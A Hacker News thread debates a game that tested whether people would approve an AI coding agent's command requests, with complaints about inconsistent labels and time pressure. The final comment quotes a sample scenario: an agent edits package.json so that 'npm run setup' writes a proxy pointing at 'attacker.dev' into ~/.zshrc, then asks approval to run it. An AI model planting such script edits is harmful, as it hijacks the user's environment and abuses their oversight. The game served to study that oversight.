Thread

1. VladVladikoff · 1786024685 · focus · HN ↗

   I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were risky, some people were debating about how some of the prompts flagged as bad weren’t bad, and others flagged as not bad were. This is a fundamental flaw in the test, that makes the analysis of results meaningless.

   Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.

   1. Kinrany · 1786027353 · focus · HN ↗

      Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.

      1. cube00 · 1786031781 · focus · HN ↗

         I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script.

           * I'll run the project setup script to get everything configured.
             // package.json → scripts
             "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"
         
           Run bash command
           # Initializing the dev environment for a clean local install
           > npm run setup

Unofficial Hacker News client; not affiliated with Y Combinator.